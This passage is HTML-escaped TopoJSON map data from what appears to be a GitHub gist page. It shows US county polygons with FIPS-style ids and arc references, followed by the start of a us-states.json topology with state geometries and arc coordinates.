uot;:41007,&quot;arcs&quot;:[[[599,600,601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38001,&quot;arcs&quot;:[[-492,-566,602,603,604,605,-521,-526]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38081,&quot;arcs&quot;:[[-535,606,607,608,-531]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38051,&quot;arcs&quot;:[[-525,609,610,611,-512,-516]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38021,&quot;arcs&quot;:[[-532,-609,612,613,-610,-524]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38011,&quot;arcs&quot;:[[-606,614,-498,-522]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30023,&quot;arcs&quot;:[[-554,615,616,-508,-448,-320]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26043,&quot;arcs&quot;:[[617,618,619,-568,620]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27095,&quot;arcs&quot;:[[621,622,623,624,-594,-452,-419]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30097,&quot;arcs&quot;:[[-477,625,626,-412,-479]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30031,&quot;arcs&quot;:[[-414,627,628,629,630,631,-551,-460]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30067,&quot;arcs&quot;:[[-627,632,633,634,-628,-413]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30093,&quot;arcs&quot;:[[635,636,-616,-553]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41009,&quot;arcs&quot;:[[[637,638,639,-600,640,-587]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27065,&quot;arcs&quot;:[[-576,641,-622,-418]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55013,&quot;arcs&quot;:[[642,643,644,645,-574,646]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55113,&quot;arcs&quot;:[[647,648,649,650,651]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55129,&quot;arcs&quot;:[[-651,652,-643,653]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30011,&quot;arcs&quot;:[[654,655,656,657,-440,-500]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30095,&quot;arcs&quot;:[[-562,658,-633,-626,-476]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27051,&quot;arcs&quot;:[[-489,659,660,661,-527]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27041,&quot;arcs&quot;:[[-593,662,663,-660,-488]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55041,&quot;arcs&quot;:[[664,665,666,667,668,-599,-570]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53011,&quot;arcs&quot;:[[-584,669,-638,-586]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53039,&quot;arcs&quot;:[[-486,670,671,672,673,674,-581,-408]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30003,&quot;arcs&quot;:[[-444,675,676,677,678,-560,-563]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27155,&quot;arcs&quot;:[[-662,679,680,681,-533,-528]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55037,&quot;arcs&quot;:[[-620,682,-665,-569]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41059,&quot;arcs&quot;:[[-537,683,684,685,686,-484,-539]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41063,&quot;arcs&quot;:[[-495,-564,-518,-505,687,688,689,-684,-536]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26109,&quot;arcs&quot;:[[690,691,692,-618,693]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55099,&quot;arcs&quot;:[[-598,694,695,696,697,-649,698,-541]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46105,&quot;arcs&quot;:[[699,700,701,702,703,-604]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46031,&quot;arcs&quot;:[[704,705,706,707,-700,-603,-565]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46063,&quot;arcs&quot;:[[-605,-704,708,-655,-499,-615]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46021,&quot;arcs&quot;:[[-612,709,710,-705,-513]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30001,&quot;arcs&quot;:[[-637,711,712,713,714,-509,-617]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46089,&quot;arcs&quot;:[[-614,715,716,717,-710,-611]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46013,&quot;arcs&quot;:[[-608,718,719,720,721,722,-716,-613]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46109,&quot;arcs&quot;:[[-682,723,724,725,726,-534]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46091,&quot;arcs&quot;:[[-727,727,-719,-607]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41049,&quot;arcs&quot;:[[-687,728,729,730,-671,-485]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55085,&quot;arcs&quot;:[[-669,731,732,-695,-597]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41061,&quot;arcs&quot;:[[733,734,-685,-690]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30057,&quot;arcs&quot;:[[-632,735,-712,-636,-552]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27009,&quot;arcs&quot;:[[-625,736,737,-595]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41021,&quot;arcs&quot;:[[738,739,740,-672,-731]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30075,&quot;arcs&quot;:[[-658,741,742,743,-676,-443,-441]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26031,&quot;arcs&quot;:[[744,745,746,747,748,749]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41057,&quot;arcs&quot;:[[[750,751,752,753,754,-601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41067,&quot;arcs&quot;:[[755,756,757,-751,-640]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27145,&quot;arcs&quot;:[[-738,758,759,760,761,762,-663,-592,-596]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27149,&quot;arcs&quot;:[[763,764,765,-680,-661]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27121,&quot;arcs&quot;:[[-763,766,767,-764,-664]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41055,&quot;arcs&quot;:[[768,-673,-741]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27059,&quot;arcs&quot;:[[769,770,771,-623,-642]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27025,&quot;arcs&quot;:[[-646,772,773,774,-770,-575]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55095,&quot;arcs&quot;:[[775,776,777,-773,-645]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41051,&quot;arcs&quot;:[[-670,-583,778,779,-756,-639]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41027,&quot;arcs&quot;:[[780,781,-779,-582,-675]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41065,&quot;arcs&quot;:[[-769,-740,782,783,784,785,-781,-674]]},{&quot;type&quot;:&quot;Poly</code></pre><p><em>Truncated — <a href="https://gist.github.com/f644e13737e8a14417ebbd4374e1281b">view the full gist</a>.</em></p>
<h3>us-states.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;states&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;geometries&quot;:[{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:1000,&quot;arcs&quot;:[[0,1,2,3,4]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:2000,&quot;arcs&quot;:[[[5]],[[6]],[[7]],[[8]],[[9]],[[10]],[[11]],[[12]],[[13]],[[14]],[[15]],[[16]],[[17]],[[18]],[[19]],[[20]],[[21]],[[22]],[[23]],[[24]],[[25]],[[26]],[[27]],[[28]],[[29]],[[30]],[[31]],[[32]],[[33]],[[34]],[[35]],[[36]],[[37]],[[38]],[[39]],[[40]],[[41]],[[42]],[[43]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:4000,&quot;arcs&quot;:[[44,45,46,47,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:5000,&quot;arcs&quot;:[[49,50,51,52,53,54]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:6000,&quot;arcs&quot;:[[55,-47,56,57]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:8000,&quot;arcs&quot;:[[58,59,60,61,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:9000,&quot;arcs&quot;:[[64,65,66,67]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:10000,&quot;arcs&quot;:[[68,69,70,71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:11000,&quot;arcs&quot;:[[72,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:12000,&quot;arcs&quot;:[[74,75,-2]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:13000,&quot;arcs&quot;:[[76,77,-75,-1,78,79]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:15000,&quot;arcs&quot;:[[[80]],[[81]],[[82]],[[83]],[[84]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16000,&quot;arcs&quot;:[[85,86,87,88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:17000,&quot;arcs&quot;:[[92,93,94,95,96,97]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:18000,&quot;arcs&quot;:[[98,99,-95,100,101]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:19000,&quot;arcs&quot;:[[102,-98,103,104,105,106]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:20000,&quot;arcs&quot;:[[107,108,-60,109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:21000,&quot;arcs&quot;:[[110,111,112,113,-96,-100,114]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:22000,&quot;arcs&quot;:[[115,116,117,-52]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23000,&quot;arcs&quot;:[[118,119]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:24000,&quot;arcs&quot;:[[[120]],[[121,-71,122,123,124,125,-74,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:25000,&quot;arcs&quot;:[[128,129,130,131,-68,132,133,134]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:26000,&quot;arcs&quot;:[[[135,-102,136]],[[137]],[[138,139]],[[140]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27000,&quot;arcs&quot;:[[141,-107,142,143,144]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:28000,&quot;arcs&quot;:[[-4,145,-116,-51,146]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:29000,&quot;arcs&quot;:[[-97,-114,147,-55,148,-108,149,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30000,&quot;arcs&quot;:[[150,151,152,-86,153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:31000,&quot;arcs&quot;:[[-105,-150,-110,-59,154,155]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:32000,&quot;arcs&quot;:[[-89,156,-48,-56,157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:33000,&quot;arcs&quot;:[[-119,158,-135,159,160]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:34000,&quot;arcs&quot;:[[161,-69,162,163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:35000,&quot;arcs&quot;:[[164,165,166,-45,-62]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:36000,&quot;arcs&quot;:[[167,-133,-67,168,-164,169,170]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:37000,&quot;arcs&quot;:[[171,172,-80,173,174]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38000,&quot;arcs&quot;:[[-144,175,-151,176]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:39000,&quot;arcs&quot;:[[177,178,-115,-99,-136,179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:40000,&quot;arcs&quot;:[[-149,-54,180,-165,-61,-109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41000,&quot;arcs&quot;:[[-90,-158,-58,181,182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:42000,&quot;arcs&quot;:[[-163,-72,-122,183,-178,184,-170]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:44000,&quot;arcs&quot;:[[[-130,185]],[[186,-65,-132]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:45000,&quot;arcs&quot;:[[187,-77,-173]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46000,&quot;arcs&quot;:[[-176,-143,-106,-156,188,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:47000,&quot;arcs&quot;:[[189,-174,-79,-5,-147,-50,-148,-113]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:48000,&quot;arcs&quot;:[[-53,-118,190,-166,-181]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:49000,&quot;arcs&quot;:[[191,-63,-49,-157,-88]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:50000,&quot;arcs&quot;:[[-160,-134,-168,192]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:51000,&quot;arcs&quot;:[[[-127,-73,-126,193,-175,-190,-112,194]],[[195,-124]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53000,&quot;arcs&quot;:[[[-91,-183,196]],[[197]],[[198]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:54000,&quot;arcs&quot;:[[-184,-128,-195,-111,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55000,&quot;arcs&quot;:[[-139,199,-93,-103,-142,200]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:56000,&quot;arcs&quot;:[[-189,-155,-64,-192,-87,-153]]}]}},&quot;arcs&quot;:[[[2632,3060],[5,-164],[7,-242],[4,-53],[3,-30],[-2,-19],[4,-11],[-5,-25],[0,-24],[-2,-32],[2,-57],[-2,-51],[3,-52]],[[2649,2300],[-14,-1],[-59,0],[-1,-25],[6,-37],[-1,-31],[2,-16],[-4,-28]],[[2578,2162],[-4,-6],[-7,31],[-1,47],[-2,6],[-3,-36],[-1,-34],[-7,9]],[[2553,2179],[-2,291],[6,363],[4,209],[-3,20]],[[2558,3062],[24,1],[50,-3]],[[1324,6901],[1,32],[6,-19],[-1,-32],[-8,4],[2,15]],[[1317,6960],[5,-23],[-3,-33],[-2,11],[0,45]],[[1285,7153],[6,5],[3,-8],[-1,-28],[-6,-6],[-5,17],[3,20]],[[1267,7137],[12,-7],[3,-36],[13,-41],[4,-25],[0,-21],[3,-4],[1,-27],[5,-27],[0,-25],[3,8],[2,-19],[1,-74],[-3,-17],[-7,3],[-3,38],[-2,-3],[-6,28],[-2,-10],[-5,10],[1,-28],[5,7],[3,-10],[-2,-39],[-5,4],[-9,49],[-2,25],[1,26],[-7,-2],[0,20],[5,2],[5,18],[-2,31],[-6,7],[-1,50],[-2,25],[-4,-18],[-2,28],[4,14],[-3,32],[2,8]],[[1263,6985],[5,-12],[4,15],[4,-7],[-4,-28],[-6,8],[-3,24]],[[1258,7247],[-4,19],[5,13],[15,-18],[7,1],[5,-36],[9,-29],[-1,-22],[-5,-11],[-6,5],[-5,-14],[-6,9],[-7,-9],[-1,45],[0,30],[-5,1],[-1,16]],[[1252,7162],[-4,14],[-4,32],[0,24],[3,11],[4,-11],[0,20],[12,-35],[1,-33],[-4,-5],[-3,-37],[3,-11],[-3,-43],[-5,9],[0,-27],[-3,13],[-2,54],[5,25]],[[1237,7124],[-1,-22],[-4,13],[-10,84],[-7,25],[3,20],[-3,48],[-8,39],[8,38],[3,-16],[7,-13],[6,-2],[0,-30],[6,-99],[0,-85]],[[1235,7494],[10,-15],[5,2],[0,-14],[8,-52],[-5,8],[-2,-18],[6,-27],[2,-48],[-6,-13],[-2,-16],[-10,-35],[-3,1],[-1,37],[2,22],[-1,32],[-3,40],[0,21],[-2,51],[-4,22],[-1,38],[7,-36]],[[1203,7324],[4,0],[4,-35],[-2,-24],[-6,-5],[1,38],[-1,26]],[[1191,7491],[8,-1],[6,17],[8,-23],[-5,-26],[2,-9],[4,28],[10,-9],[5,-21],[-3,-38],[3,-3],[3,-50],[-7,-7],[-14,41],[0,-42],[-4,-17],[-5,7],[-3,26],[-6,18],[-5,37],[-6,17],[1,30],[4,10],[1,26],[3,-11]],[[883,7871],[-12,-48],[-1,-19],[-9,-12],[2,29],[10,30],[7,34],[3,-14]],[[870,7943],[-2,-39],[-4,-41],[-6,14],[5,47],[7,19]],[[863,9788],[3,-8],[15,-9],[8,5],[10,0],[12,-7],[7,4],[7,-15],[12,-18],[16,-4],[5,10],[11,6],[4,14],[12,2],[0,-9],[7,5],[15,-15],[9,-24],[10,-11],[2,-11],[8,-2],[8,-18],[1,-11],[5,9],[6,-7],[0,-1783],[13,-16],[2,17],[14,-24],[8,30],[18,4],[-3,-52],[4,-17],[10,-17],[2,-27],[29,-101],[4,-63],[6,17],[12,31],[7,1],[3,23],[0,34],[5,0],[1,31],[9,7],[13,26],[13,-45],[-1,-27],[3,-27],[7,-7],[10,-40],[-1,-12],[4,-22],[12,-25],[19,-110],[3,-29],[6,-29],[8,-65],[9,-55],[-3,-23],[9,-9],[-2,-33],[7,-14],[1,-38],[7,2],[14,-40],[9,-7],[5,-19],[4,-5],[1,-19],[9,-5],[3,-23],[-4,-43],[1,-36],[4,-58],[-3,-15],[-7,-53],[-10,-39],[-3,20],[-4,-6],[-3,39],[1,17],[-3,20],[7,21],[-2,7],[-7,-26],[-3,17],[-4,-10],[-12,42],[4,46],[-8,-15],[0,-23],[-6,17],[-1,22],[4,24],[-1,24],[-6,-19],[-6,42],[-3,-8],[-2,36],[5,23],[6,0],[-2,28],[3,36],[-5,-1],[-9,32],[-6,37],[-15,27],[0,77],[-4,9],[1,31],[-5,9],[-8,42],[-2,22],[-12,7],[-14,56],[-6,132],[-3,-30],[1,-27],[6,-53],[-1,-8],[3,-43],[0,-28],[-6,6],[-4,31],[-6,6],[-8,-9],[0,45],[-5,38],[-4,-12],[-18,40],[-2,-11],[10,-13],[7,-31],[3,-1],[1,-25],[4,-30],[-10,-16],[-5,10],[0,-26],[-8,20],[-2,14],[-5,0],[-13,38],[-10,33],[0,20],[-6,30],[-14,21],[-9,21],[-14,26],[-9,24],[1,26],[2,-9],[3,17],[-3,38],[4,21],[-2,9],[-7,-40],[-14,-26],[-18,10],[-14,24],[-1,18],[-7,-4],[-7,14],[-17,12],[-9,1],[-21,-10],[-8,-7],[-10,27],[-12,12],[-3,17],[-2,28],[-8,-2],[-3,-25],[-15,34],[-2,14],[-15,-27],[-7,-32],[-3,30],[3,17],[4,-5],[14,22],[-2,17],[-6,-8],[-3,22],[-6,3],[-6,55],[-3,-13],[-8,-8],[-3,8],[-3,-18],[-11,6],[-1,-20],[-7,-5],[-3,7],[2,36],[-3,-1],[-5,-38],[7,-12],[1,-27],[4,-30],[-3,-31],[-5,10],[-2,-15],[6,-7],[3,-41],[-8,-9],[-4,9],[-7,-12],[-3,10],[-9,-2],[0,16],[-4,-10],[-3,-20],[-3,18],[-5,-25],[2,-12],[-6,-15],[-6,-2],[-3,-20],[-6,-17],[-4,6],[-5,-21],[-4,1],[-8,-43],[-9,-3],[-3,14],[-5,-23],[-11,17],[2,33],[8,11],[4,-2],[2,13],[8,25],[0,21],[-11,-28],[-9,16],[-1,12],[5,48],[8,34],[1,29],[2,5],[1,30],[-4,34],[10,12],[19,48],[4,-19],[6,-5],[9,20],[-10,26],[-4,20],[-7,-2],[-5,9],[-2,-8],[-9,-14],[-4,-26],[-9,-6],[-9,-30],[-1,-20],[-7,-11],[-2,-22],[-5,-13],[-2,-39],[-10,-25],[5,-20],[-4,-29],[-9,-5],[-1,-38],[-8,-13],[-3,15],[-4,-29],[-5,-1],[1,-21],[-11,-13],[-2,-57],[12,-3],[10,-16],[3,-19],[-4,-30],[-7,-19],[-6,-1],[0,-17],[-4,-6],[1,-21],[-4,-31],[-9,-29],[-5,0],[-5,-11],[-5,2],[-3,-11],[1,-16],[-7,-8],[-2,-23],[-5,14],[-5,-45],[-9,4],[1,-24],[-6,6],[-3,-11],[0,-32],[-6,-50],[-10,-6],[-7,-23],[-2,-13],[-5,18],[-8,-48],[-2,13],[-5,-4],[-1,-27],[-5,-10],[-6,4],[-4,-27],[8,-9],[-9,-60],[-25,-20],[-6,-54],[-2,12],[1,33],[-5,6],[-6,-13],[-1,-14],[-10,-22],[-4,-25],[-1,18],[-2,-21],[-6,14],[-10,-33],[-8,2],[1,25],[-4,24],[-3,-20],[1,-21],[-11,-64],[-3,16],[-1,-24],[-8,4],[-1,38],[-4,8],[-2,-14],[4,-16],[-2,-27],[-5,-13],[-5,29],[-5,2],[-1,-11],[5,-17],[-9,-27],[6,-7],[0,-13],[-5,9],[-7,-25],[-15,1],[-7,-16],[0,-13],[-8,-15],[-6,6],[-2,35],[6,12],[4,43],[6,1],[13,28],[10,1],[4,-27],[3,20],[-1,23],[6,10],[7,0],[8,50],[10,45],[12,40],[15,18],[6,-9],[6,12],[1,-17],[-3,-19],[4,-14],[1,23],[7,2],[2,-15],[5,-5],[0,18],[-8,15],[0,11],[5,49],[6,28],[9,27],[15,24],[10,35],[5,-13],[4,5],[-1,22],[1,21],[8,44],[11,28],[8,38],[0,21],[7,148],[11,40],[-1,31],[-27,-45],[-8,6],[-2,18],[-5,9],[-1,21],[-4,-10],[-3,-32],[5,-41],[-6,-18],[-5,7],[-9,64],[-6,33],[-4,0],[-2,-24],[-3,-4],[-4,19],[-5,4],[-2,32],[-16,-37],[-13,-26],[-1,-14],[-11,-22],[-6,20],[5,23],[-1,54],[-4,57],[7,24],[-6,49],[-5,27],[-4,39],[-6,17],[-2,-34],[-7,-8],[-12,-22],[-14,-9],[-7,2],[-7,12],[-1,30],[-5,9],[-9,42],[-8,8],[-8,46],[6,21],[1,39],[-5,-8],[0,24],[2,19],[-6,18],[0,-19],[-7,8],[-1,32],[-6,4],[-3,22],[0,27],[-5,-12],[-1,26],[7,6],[-6,30],[10,2],[0,35],[2,24],[18,77],[4,23],[3,-5],[-2,33],[7,55],[6,22],[11,9],[8,-9],[12,-33],[8,4],[11,32],[11,49],[6,6],[1,-13],[13,0],[12,10],[11,52],[0,12],[-5,48],[-1,28],[-8,31],[-3,26],[8,-7],[8,22],[0,20],[-10,39],[-8,-30],[-7,5],[-6,-17],[-8,-4],[-2,-11],[-9,-17],[-2,-28],[-5,-12],[-2,34],[-5,7],[-4,-26],[-2,12],[-10,19],[-20,-1],[-14,-21],[-6,-3],[-11,13],[-22,14],[-6,12],[-3,19],[2,26],[-8,22],[2,24],[5,12],[-2,31],[-8,0],[-6,8],[-13,6],[-7,16],[-10,16],[-1,19],[16,27],[20,43],[15,27],[8,-15],[8,-3],[2,21],[-5,3],[-1,18],[20,29],[22,22],[12,2],[7,-7],[-4,-32],[2,-22],[-3,-15],[4,-26],[8,5],[10,-5],[11,6],[4,-10],[7,-2],[7,10],[8,-11],[9,42],[5,2],[5,-8],[2,24],[-12,11],[-11,-9],[1,31],[-8,34],[-10,10],[-2,30],[7,8],[9,-31],[-1,-24],[4,-18],[10,-22],[2,23],[-11,30],[5,54],[-4,10],[-11,-12],[-11,3],[-2,10],[-6,-10],[-24,23],[0,24],[-7,54],[-6,19],[-9,17],[-19,46],[-9,18],[-8,4],[-13,31],[-12,18],[-1,6],[9,10],[4,29],[1,59],[25,-4],[31,13],[8,11],[12,29],[12,45],[3,45],[5,38],[10,33],[5,24],[13,38],[2,-10],[11,-3],[16,20],[10,21],[24,64],[9,4],[1,-10],[9,7],[9,-2],[18,9],[17,28],[17,58],[7,13],[2,-10],[26,-24],[2,-17],[-9,-22],[-4,-1],[0,-29],[14,9],[0,16],[6,14],[2,-8],[5,33],[13,-30],[-2,-23],[8,-6],[5,-14],[7,22],[13,1],[7,7],[18,-7],[10,-8],[-5,-45],[17,-12],[2,-11],[16,-20],[1,9],[12,13],[11,-1],[0,-11],[7,-1],[7,15],[11,2],[9,-6],[11,-16],[5,3],[7,-22],[4,9],[7,-7],[5,-13]],[[717,7456],[-1,-8],[-9,13],[7,49],[6,4],[4,45],[5,-40],[4,14],[8,-22],[0,-31],[-11,-4],[-5,-13],[-8,-7]],[[688,7363],[8,25],[-8,6],[0,22],[6,14],[5,-10],[0,-22],[3,15],[0,32],[5,-15],[1,21],[5,-12],[5,0],[5,11],[7,-20],[0,-55],[9,4],[-6,-37],[-11,15],[4,-24],[-3,-20],[-6,10],[0,-38],[-8,-10],[-3,-16],[-5,15],[-6,-40],[-4,-4],[-5,-18],[-2,43],[-6,-23],[-1,13],[-6,14],[0,39],[-6,15],[4,45],[11,28],[7,-2],[1,-21]],[[671,7185],[-6,-39],[-2,6],[8,33]],[[640,7055],[4,-2],[-1,-40],[-8,6],[-1,13],[6,23]],[[519,6933],[-2,-41],[-9,-33],[5,51],[2,-5],[4,28]],[[501,6947],[5,0],[0,-20],[-5,-23],[-5,15],[-3,-14],[-2,35],[2,12],[8,-5]],[[451,6875],[1,-16],[-3,-11],[-3,18],[5,9]],[[447,8527],[-4,-19],[-2,16],[6,3]],[[436,6781],[6,-7],[-1,-16],[-5,1],[0,22]],[[358,6745],[2,-22],[-5,-10],[-1,23],[4,9]],[[352,6718],[-8,-21],[-2,14],[3,19],[7,-12]],[[335,7902],[6,7],[2,-14],[5,3],[6,-12],[1,-54],[-3,-18],[-7,-11],[-2,-18],[-11,20],[-5,-1],[-10,28],[-4,0],[-6,15],[-2,25],[3,7],[10,-7],[5,20],[6,2],[2,14],[4,-6]],[[334,6690],[5,-14],[-10,-36],[1,-6],[12,26],[0,-15],[-5,-17],[-8,-12],[-1,-18],[-8,-18],[-7,-1],[-5,-18],[-9,-16],[-5,17],[9,20],[3,-3],[8,16],[-2,19],[4,20],[6,-9],[1,12],[-7,4],[-4,14],[4,23],[11,13],[2,-26],[5,25]],[[266,6527],[10,37],[1,16],[4,17],[7,9],[3,-10],[2,-25],[-13,-27],[-6,-40],[-5,-13],[-3,36]],[[238,6477],[2,-19],[-8,-1],[-1,13],[7,7]],[[227,7303],[-4,-18],[-1,18],[5,0]],[[212,6440],[2,-18],[-5,-13],[-1,19],[4,12]],[[182,8542],[22,-28],[13,24],[6,-2],[5,-14],[2,-23],[11,-12],[4,-12],[15,-5],[9,-8],[-5,-28],[-7,6],[-8,-5],[-4,-13],[-4,-28],[-5,26],[-6,18],[-6,2],[-3,20],[-15,25],[-6,1],[-11,-22],[-7,11],[-4,23],[4,44]],[[162,6381],[0,-22],[-5,-4],[1,19],[4,7]],[[128,6335],[4,-8],[10,1],[1,-7],[-13,-9],[-2,23]],[[108,6360],[0,19],[4,7],[6,-19],[-2,-17],[-4,1],[1,-20],[-5,-2],[-12,-21],[-6,6],[2,15],[7,-2],[9,33]],[[47,6279],[5,3],[0,-24],[-6,3],[-8,-28],[-4,37],[4,1],[0,29],[5,1],[0,-21],[4,-1]],[[28,6296],[3,-9],[-2,-32],[-5,-10],[0,20],[4,31]],[[0,6291],[5,-1],[4,-23],[-4,-27],[-5,51]],[[9993,6496],[6,-13],[0,-19],[-11,-12],[-8,31],[0,15],[13,-2]],[[1966,3444],[-1,-1081]],[[1965,2363],[-57,0],[-34,71],[-73,150],[3,43]],[[1804,2627],[6,8],[1,16],[-1,36],[-4,1],[-2,71],[6,27],[0,28],[-1,45],[4,34],[4,12],[4,25],[-6,27],[-4,51],[-5,31],[0,24]],[[1806,3063],[2,26],[0,36],[-3,36],[-2,112],[11,7],[3,-23],[3,1],[3,33],[0,153]],[[1823,3444],[101,2],[42,-2]],[[2515,3253],[-1,-35],[-4,-11],[-1,-29],[-5,-31],[0,-46],[-3,-34],[-3,-5]],[[2498,3062],[2,-17],[-4,-14],[-2,-33],[-3,-8],[0,-38],[-5,-10],[0,-13],[-6,-31],[2,-21],[